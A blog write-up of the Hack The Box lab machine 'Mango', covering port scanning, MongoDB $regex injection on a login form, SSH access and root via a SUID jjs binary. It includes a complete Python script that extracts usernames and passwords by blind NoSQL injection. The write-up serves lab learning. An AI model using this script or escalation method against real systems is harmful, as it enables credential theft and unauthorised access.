Hack The Box - Mango - Write-up

Hi,
Welcome to my blog!

Mango is just retired on Hack The Box. This machine is a very cool box and helps me learn a lot about NoSQL injection. Do you know why NoSQL injection here? If no, you should look again at the box's name and replace 'a' with 'o'.
I solved this box while I preparing for OSCP (maybe it's not the only attempt though I have not yet received the response at this time).


Port scanning

As always, I start with nmap to scan all ports of Mango.

Three ports are opening, two are web. While the SSH's version seems to not exploitable, the certification on port 443 discloses a domain name: staging-order.mango.htb. So, before enumerating further, I add both mango.htb and staging-order.mango.htb to my /etc/hosts.

Initial access

I try to check all web services I can access, from port 443, which always returns a Mango search site no matter what the domain is, to port 80, which will return a login page if we using the domain staging-order.mango.htb.


The Mango search site on port 443 has two main functions, the search form on index.php and something on analytics.php, which refers to many external resources. Unfortunately, both of them seem to be rabbit holes. There is no SQL injection on the search form, it even always returns no data at all. Otherwise, the service at analytics.php has too much data but nothing useful.

The only thing left here is the login form at http://staging-order.mango.htb/. I tried to use dirbuster to brute force directories and files on this site but find nothing useful except a page named home.php. It will redirect you to the login page on index.php so I think perhaps it's not a rabbit hole and therefore I can find a way to log in. However, sqlmap doesn't work.
Stuck and stress, the box's name suddenly reminds me about MongoDB. Immediately, I try some NoSQL injection payload and it works.

However, home.php has no useful information except an email address: admin@mango.htb.

I decided to write a simple Python script to extract usernames and passwords from the login form. You can see below.
#!/usr/bin/env python
# Tested on Python 2.7
import requests
import string

url='http://staging-order.mango.htb/'
usernames=[]
passwords=[]
headers={'Content-Type': 'application/x-www-form-urlencoded'}
charset=string.printable

def getUsernames():
    usernames=[]
    r=''
    while True:
        username=''
        ulength=0
        for i in range(100):
            if len(usernames)==0:
                r=requests.post(url,data='username[$regex]=.{'+str(i)+'}&password[$regex]=.&login=login',headers=headers,allow_redirects=False)
            else:
                r=requests.post(url,data='username[$regex]=^(?!'+'|'.join(usernames)+').{'+str(i)+'}&password[$regex]=.&login=login',headers=headers,allow_redirects=False)
            if r.status_code==200:
                ulength=i-1
                break
        for i in range(ulength):
            for j in charset:
                if j in '^.[]{}$+*?|':
                    j='\\'+j
                if j=='&':
                    j='%26'
                if len(usernames)==0:
                    r=requests.post(url,data='username[$regex]=^'+username+j+'&password[$regex]=.&login=login',headers=headers,allow_redirects=False)
                else:
                    r=requests.post(url,data='username[$regex]=^(?!'+'|'.join(usernames)+')'+username+j+'&password[$regex]=.&login=login',headers=headers,allow_redirects=False)
                if r.status_code==302:
                    username+=j
                    break
        if len(username)==0:
            break
        usernames.append(username)
    return usernames

def getPasswords(usernames):
    passwords=[]
    r=''
    for u in usernames:
        password=''
        plength=0
        for i in range(100):
            r=requests.post(url,data='username[$eq]='+u+'&password[$regex]=.{'+str(i)+'}&login=login',headers=headers,allow_redirects=False)
            if r.status_code==200:
                plength=i-1
                break
        for i in range(plength):
            for j in charset:
                if j in '^.[]{}$+*?|':
                    j='\\'+j
                if j=='&':
                    j='%26'
                r=requests.post(url,data='username[$eq]='+u+'&password[$regex]=^'+password+j+'&login=login',headers=headers,allow_redirects=False)
                if r.status_code==302:
                    password+=j
                    break
        passwords.append(password)
    return passwords

usernames=getUsernames()
passwords=getPasswords(usernames)
print 'Username\tPassword'
for u,p in zip(usernames,passwords):
    print u+'\t'+p
Using my script above, I find out two pairs of credentials.

Perhaps we can use these credentials to log in with the SSH service. Though I don't know why the admin's password is incorrect now, the mango's password works.

Own user

Do you want to find out what happens with the admin account? The answer is here, at the bottom of /etc/ssh/sshd_config. There are only two users allowed to log in by SSH and admin is not there.

Fortunately, we can use su to switch to admin from the session of mango. Owning the user flag is so easy, right?

Own root

It's more simple than getting the initial foothold. First, I use LinEnum to enumerate all interesting information inside the box.

There is a tool called jjs, which has SUID and owned by root. Let's try something on GTFOBins to get root privilege.
Ah, the bind shell and reverse shell payloads don't work. However, you can write an SSH key and then login with root (thankfully root is allowed to log in by SSH on this box, you can see above).
Due to the write-up is a little bit lengthy, I will show only how I grab the root flag.

The hardest thing on this box maybe is trying to recognize the DBMS of its website and writing a script to extract information stably. And again, the box's name is Mango!

If you have any questions, please don't hesitate to ask me on Twitter or leave a comment.
Thank you for reading!

Comments